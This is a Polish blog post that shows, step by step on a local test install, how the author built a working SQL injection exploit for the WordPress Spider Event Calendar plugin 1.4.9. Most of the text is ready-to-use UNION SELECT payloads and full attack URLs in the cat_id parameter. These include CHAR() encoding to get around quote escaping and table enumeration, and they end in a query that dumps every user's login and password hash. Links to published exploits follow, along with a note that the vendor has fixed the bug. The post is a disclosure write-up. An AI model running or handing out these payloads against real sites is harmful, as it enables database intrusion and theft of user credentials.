W zeszłym roku
sprawdziłem jakość kodu oraz poprawność przetwarzania danych
wejściowych przez plugin „Form Maker” przygotowany przez wydawcę
Webdorado. Tym razem postanowiłem sprawdzić czy autor poprawił
jakoś kodu swoich produktów. Należy tutaj nadmienić, że poza
wersjami darmowymi opartymi na licencji GNU/GPLv2 oferuje on również
wersję płatne z dodatkowymi szablonami. Tym razem postaram się
opisać wszelkie przeszkody, które musiałem pokonać aby napisać
działającego exploita. Zacząłem zabawę tak, że program był
dla mnie black-boxem, ale niestety skończyło się na przejrzeniu
kodu. Zapraszam do lektury.
Poniżej można
zobaczyć jeden z widoków częściowych kalendarza, który domyślnie
jest wywoływany z JavaScriptu jako XHR, można jednak go z
powodzeniem otworzyć w przeglądarce jako widok główny:
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id &widget=0
Na powyższym
zrzucie ekranu widać również jedno dodane wydarzenie w dniu 2
lutego 2015.
Najpierw
skupiałem się na podatności na ataki typu XSS i podążając tym
tropem zauważyłem, że manipulacja parametrem cat_id
powoduje niepokojącą zmianę zachowania aplikacji.
Poniżej
zamieściłem zrzut ekranu gdy przekaże się w requeście w
parametrze cat_id wartość ABCD. Ten sam efekt można
uzyskać podając apostrof lub cudzysłów. Jak widać na zrzucie
ekranu aplikacja nadal zwraca kod 200, jednakże wydarzenie zniknęło
z kalendarza. To wzbudziło moje podejrzenie.
URL:
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=ABCD&widget=0
Oczywiście
pierwsze co przyszło mi do głowy to zakomentować pozostałą część
zapytania i sprawdzić czy kalendarz coś wyświetli. Próbowałem
różnych kombinacji:
-
%20--%20
-
%20’--%20
-
%20”--%20
Niestety nic nie
zadziałało ale wpadł mi do głowy jeszcze jeden pomysł –
mianowicie, że jest to parametr, którym przekazywany jest zbiór
kategorii, który ląduje we fragmencie IN () zapytania SQLowego.
-
%201);--%20
I… zadziałało. Pełny URL znajduje się
poniżej:
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=%201);--%20&widget=0
Po wywołaniu
powyższego URLa zrzut ekranu wygląda praktycznie tak samo jak na
pierwszym zaprezentowanym zrzucie ekranu. Może się zdarzyć, że
niektóre wydarzenia z kalendarza znikną (te, które mają
przypisaną inną kategorię, a niektóre wycięte z wyników poprzez
zakomentowany fragment zapytania SQL nagle się pojawią.
Jesteśmy już
bardzo bliscy poprawnego zapytania atakującego bazę danych.
Następnym krokiem jest spróbowanie doklejenia do zapytania takiego
SQLa, który spowoduje pojawienie się dodatkowych wyników w
kalendarzu. Postanowiłem skorzystać z konstrukcji UNION – w takim
wypadku musimy „odgadnąć” z ilu kolumn składa się używane
przez aplikację zapytanie.
Do tego celu
można użyć magicznej „tabelki” o nazwie DUAL:
SELECT 1 FROM DUAL;
Fragment, który
należy dokleić do parametru cat_id w query stringu (spacja na końcu
bardzo istotna):
1) UNION SELECT 1 FROM DUAL;--%20
Należy doklejać
tak kolejne 1 oddzielone przecinkami przed słowem kluczowym FROM aby
zapytanie się wykonało. Finalnie działające zapytanie wygląda
tak:
1) UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 FROM DUAL;--%20
Pełny URL z
doklejonym zapytaniem:
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20&widget=0
Na razie efekt
jest taki, że zapytanie ma poprawną składnię i poprzedni element
z 2 lutego pojawił się z powrotem na widoku. Teraz musimy sprawić
by jakiś spreparowany przez nas rekord pojawił się np. w dniu 3
lutego 2015 roku. Od razu powiem, że tutaj się namęczyłem, gdyż
okazało się, iż znaki apostrofa i cudzysłowu są escape’owane.
Wystarczy
wywołać poniższy URL aby się przekonać, że zapytanie ma
ponownie niepoprawną składnię, gdyż znowu z kalendarza znikają
zdarzenia:
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,1,%222015-02-03%22,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20&widget=0
Trzeba więc
znaleźć sposób aby w wyniku zapytania zwrócić datę w formie
stringa ale nie podawać go w formie stringa w URLu. Rozwiązaniem
okazała się konwersja z UNIX TIMESTAMP. Potrzebujemy zatem
obliczyć timestampa dla dnia 2015-02-03, pomocne nam będzie
poniższe zapytanie:
SELECT UNIX_TIMESTAMP("2015-02-04");-- WYNIK POWINIEN WYNOSIC: 1423004400
Aby uzyskać na
tej podstawie string z datą należy skonwertować w zapytaniu SELECT
z powrotem wartość 1423004400 do typu DateTime, na surowym
przykładzie:
SELECT FROM_UNIXTIME(1423004400) FROM DUAL;-- WYNIK POWINIEN WYNOSIC: 2015-02-04 00:00:00
Próbowałem
podstawiać ten element FROM_UNIXTIME(1423004400) w różne kolumny,
jednak nie udało mi się osiągnąć zadowalających rezultatów.
Zapytanie wydawało się mieć poprawną składnię, gdyż stworzony
już element kalendarza wyświetlał się w poprawnym miejscu, jednak
dodawany przeze mnie sztucznie nowy rekord nie chciał się pojawić
w kalendarzu.
Niestety – nie
udało mi się również zmodyfikować zapytania tak, aby nadpisać
jakieś wyświetlane pola z pierwszego wiersza ani też pobrać nazwy
tabelki. Na tym etapie próbowałem wykombinować zestaw zapytań
„spreparowanych” , dzięki którym mógłbym podstawić do
kolumn w podstawionym przeze mnie wierszu rzeczywiste wartości z
działających rekordów. Oczywiście nie znałem ani nazwy tabelki,
ani prefixu instalacji… również nieznane mi były nazwy kolumn, o
to co udało mi się stworzyć:
SET @table = (SELECT table_nameFROM information_schema.tablesWHERE table_nameLIKE "%\_%event" LIMIT 1);SET @column = (SELECT column_nameFROM information_schema.columnsWHERE table_name = (SELECT table_nameFROM information_schema.tablesWHERE table_nameLIKE "%\_%event" LIMIT 1) AND ordinal_position = 2);SET @query = CONCAT('SELECT ', @column, ' FROM ', @table);PREPARE stmt1 FROM @query;EXECUTE stmt1;
Te zapytanie w
połączeniu z małym skryptem podstawiłoby w sposób brutalny
wartości rzeczywiste z kolumny A do A i tak dalej – aż do momentu
gdzie uzyskałbym odpowiedź którą wartość muszę podstawić do
której kolumny (nie znając ani nazwy tabelki, ani nazwy kolumny ani
też wartości) – chodziło o to by na ślepo dojść do tego aby
spreparowany rekord poprzez UNION wyświetlił się w kalendarzu.
Niestety próby
wplecenia tego w adres URL nie przyniosły efektu, gdyż nie mogłem
tutaj skombinować tego zapytania w UNION, więc musiałem zakończyć
średnikiem poprzednie a tak straciłem odpowiednie powiązania
pomiędzy polami obiektu i nazwami kolumn (których przecież nie
znałem).
Oczywiście
pozostała mi opcja próby dodania rzeczywistego wiersza do bazy
danych uzupełniając go częściowo spreparowanymi danymi poprzez
SELECT INTO. Jednak tworzenie wierszy w tabelce o nieznanej nazwie i
uzupełnianie jej na ślepo danymi z nieznanych kolumn jest dosyć
czasochłonne o ile w ogóle udałoby mi się osiągnąć zamierzony
efekt.
Gdyby ktoś miał
pomysł na to jak uzyskać odpowiednie działające zapytanie bez
zaglądania w kod, proszę o kontakt :-).
Wiadomo, że w niektóre kolumny trzeba podstawić rzeczywiste
wartości, ale dojście tego, w które i skąd – nie jest czymś
banalnym.
Ze względu na
to, iż kalendarz ten jest projektem na licencji GNU/GPL - na tym
etapie się poddałem i postanowiłem zajrzeć do kodu. Okazało się,
że w jednej z kolumn jest coś na wzór wartości ENUM (zapisywane
jako varchar) i pole to musi przyjmować jedną z 4 wartości aby
rekord w ogóle pojawił się w wynikach w kalendarzu. Chodzi o
kolumnę „repeat_mode”, która przyjmuje poniższe wartości:
-
no_repeat,
-
daily,
-
weakly,
-
monthly,
-
yearly
Na podstawie kodu (ścieżka:
%wpInstallPath%\wp-content\plugins\spider-event-calendar\front_end\frontend_functions.php)
można już łatwo wywnioskować, że data zwracana
jest jako 3 kolumna a typ powtarzania zdarzeń w kalendarzu jako 10
kolumna. Pamiętajmy, że nie możemy przekazywać ani apostrofów
ani cudzysłowu. Musimy przekonwertować string do numerków z
tablicy ASCII i posłużyć się magiczną funkcją CHAR aby podpiąć
te wartość „na sztywno” do zapytania, poprawność sprawdzamy
tak:
SELECT CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116) as str ;
Doklejane
zapytanie będzie wyglądało zatem tak:
1) UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1,1,1,1,1,1, CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 FROM DUAL;--%20
A pełny URL jak
poniżej:
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,%20FROM_UNIXTIME(1423004400),1,1,1,1,1,1,%20CHAR(110,%20111,%2095,%20114,%20101,%20112,%20101,%2097,%20116),1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20--%20&widget=0
Wynik można
zobaczyć poniżej:
Skoro potrafimy
już dodać dowolny record do wyświetlanych rezultatów, co stoi na
przeszkodzie aby spróbować pobrać listę tabelek z obecnej schema?
Nic.
Aby pobrać listę
tabelek w MySQL należy wykonać poniższe zapytanie:
SELECT table_name FROM information_schema.tables;
Każda instalacja
wordpressa zawiera tabelkę, której zawartość jest zazwyczaj
najbardziej przydatna potencjalnemu atakującemu – tabelkę z
użytkownikami. Ta nazywa się „users” i zaczyna prefixem.
Aby pobrać jej
pełną nazwę nie znając perfixu – potrzebujemy następującego
zapytania:
SELECT table_name FROM information_schema.tables WHERE table name LIKE “%users” LIMIT 1;
Oczywiście mamy
nadzieję, że w bazie nie będzie innych tabelek, których nazwa
kończy się na users. Jeśli jest inaczej – możemy
zmodyfikować zapytanie w sekcji LIMIT lub zmodyfikować o GROUP BY i GROUP_CONCAT(). Teraz musimy pomanipulować
trochę parametrami aby odkryć, która kolumna jest wyświetlana
jako tytuł – po prostu powpisuj jakiś ciąg znaków do kolejnych
parametrów. Oczywiście można zawsze zerknąć do kodu.
Jak pewnie zauważyłeś – jest to 5 kolumna.
Oczywiście
ostatniego wspomnianego zapytania nie można zastosować wprost z
powodu użytego stringa – należy więc zmienić go w sekwencję
numerków i pozyskać poprzez CHAR().
SELECT table_nameFROM information_schema.tablesWHERE table_name LIKE (SELECT CHAR(37, 117, 115, 101, 114, 115)) LIMIT 1
Kompletny SQL
doklejony do URL wyglądać będzie następująco:
1) UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1,(SELECT table_name FROM information_schema.tables WHERE table_name LIKE ( SELECT CHAR(37, 117, 115, 101, 114, 115) ) LIMIT 1),1,1,1,1, CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 FROM DUAL;--
Pełny adres URL:
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,%20FROM_UNIXTIME(1423004400),1,(SELECT%20table_name%20FROM%20information_schema.tables%20WHERE%20table_name%20LIKE%20(%20SELECT%20CHAR(37,%20117,%20115,%20101,%20114,%20115)%20)%20LIMIT%201),1,1,1,1,%20CHAR(110,%20111,%2095,%20114,%20101,%20112,%20101,%2097,%20116),1,1,1,1,1,1,1,1,1%20FROM%20DUAL;--%20--%20&widget=0
Poniżej zrzut
ekranu z wynikiem zapytania:
Znamy już zatem
prefix instalacji WordPressa – możemy zatem spróbować pobrać
wszystkich użytkowników z tabelki.
Należy jedynie
zmienić tabelkę z DUAL na rzeczywistą i podmienić 5 parametr:
1) UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1, CONCAT( CONCAT(user_login,CHAR(35, 35),user_pass)) 1,1,1,1, CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 FROM wp2_users;--%20
W rezultacie
widzimy, że niestety w danym dniu pojawia się tylko pierwszy user –
dlatego zmodyfikujemy zapytanie aby pobrać wszystkich (login I
hasło) w jednym wierszu. Będziemy do tego potrzebowali sekcji GROUP
BY, funkcji GROUP_CONCAT() oraz zmiany jednego z niepotrzebnych nam
parametrów na sztuczną grupę o wspólnej wartości dla wszystkich
użytkowników:
1) UNION SELECT 1,1, FROM_UNIXTIME(1423004400),1, GROUP_CONCAT( CONCAT( CONCAT(user_login,CHAR(35, 35),user_pass))), 1,1,1,1, CHAR(110, 111, 95, 114, 101, 112, 101, 97, 116),1,1,1,1,1,1,1,1,1 as fakeGroup FROM wp2_users GROUP BY fakeGroup;--%20
Pełny
URL:
http://localhost:8888/wp/wp-admin/admin-ajax.php?action=spiderbigcalendar_month&theme_id=13&calendar=1&select=month,list,week,day,&date=2015-02&many_sp_calendar=1&cur_page_url=http://localhost:8888/wp&cat_id=1)%20UNION%20SELECT%201,1,%20FROM_UNIXTIME(1423004400),1,%20GROUP_CONCAT(%20CONCAT(%20CONCAT(user_login,CHAR(35,%2035),user_pass))),%201,1,1,1,%20CHAR(110,%20111,%2095,%20114,%20101,%20112,%20101,%2097,%20116),1,1,1,1,1,1,1,1,1%20as%20fakeGroup%20FROM%20wp2_users%20GROUP%20BY%20fakeGroup;--%20&widget=0
Poniżej
przykładowy exploit (napisany prawie na kolanie) wykorzystujący
podatność oraz zrzut ekranu z przykładem użycia I wynikiem pracy:
Link do expliota na 1337day.com: http://1337day.com/exploit/description/23328
Link do exploida na exploit-db.com: http://www.exploit-db.com/exploits/36061/
Poniżej zrzut
ekranu uruchomienia tego exploita na lokalnym komputerze.
W changelogu (
https://wordpress.org/plugins/spider-event-calendar/changelog/
) można już zobaczyć wpis o tym, że błąd został poprawiony.
Autor postanowił najwyraźniej nie zamieszczać szczegółów
naprawionego błędu:
Zabawne jest to,
że oprócz wersji otwartej/darmowej „twórca” udostępnia także
wersję płatną z dodatkowymi licencjami na skórki własnego
autorstwa. Liczba błędów w pluginach autora „webdorado” jest
porażająca, a jakość kodu nie zachwyca.
Szczegóły
testu:
WordPress: 4.0
Testowany Plugin:
Webdorado SpiderCalendar
Wersja: 1.4.9
URL:
https://downloads.wordpress.org/plugin/spider-event-calendar.1.4.9.zip
Artykuł udostępniany na licencji CC-BY-SA-3.0
Komentarze
Prześlij komentarz